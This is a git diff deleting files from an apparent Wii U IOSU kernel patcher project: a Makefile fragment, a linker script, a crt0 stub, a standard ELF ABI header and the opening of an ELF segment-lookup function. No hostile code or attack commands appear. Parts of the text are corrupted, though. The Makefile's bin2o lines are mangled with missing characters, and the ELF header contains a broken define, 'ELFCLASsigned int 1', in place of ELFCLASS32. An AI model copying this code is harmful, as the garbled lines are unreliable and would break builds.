"$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -rf build - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/arm_kernel/link.ld b/dsrom/iosu_patcher/arm_kernel/link.ld deleted file mode 100644 index 1409c57..0000000 --- a/dsrom/iosu_patcher/arm_kernel/link.ld +++ /dev/null @@ -1,20 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x08135000, LENGTH = 0x000B000 -} - -SECTIONS -{ - .text : ALIGN(0x100) { - __file_start = .; - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - __file_end = .; - } -} - diff --git a/dsrom/iosu_patcher/arm_kernel/source/crt0.s b/dsrom/iosu_patcher/arm_kernel/source/crt0.s deleted file mode 100644 index 83d7bb6..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/crt0.s +++ /dev/null @@ -1,9 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -_start: - b _main diff --git a/dsrom/iosu_patcher/arm_kernel/source/elf_abi.h b/dsrom/iosu_patcher/arm_kernel/source/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.c b/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.c deleted file mode 100644 index 8310964..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.c +++ /dev/null @@ -1,110 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "types.h" -#include "elf_abi.h" -#include "utils.h" - -static Elf32_Phdr * get_section(u32 data, u32 vaddr) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_ARM)) - { - return 0; - } - - Elf32_Phdr *phdr = 0; - - u32 i; - for(i = 0; i < ehdr->e_phnum; i++) - { - phdr = (Elf32_Phdr *) (data + ehdr->e_phoff + ehdr->e_phentsize * i); - - if((vaddr >= phdr[0].p_vaddr) && ((i == ehdr->e_phnum) || (vaddr < phdr[1].p_vaddr))) - { - break; - } - } - return phdr; -} - -void section_write_bss(u32 ios_elf_start, u32 address, u32 size) -{ - 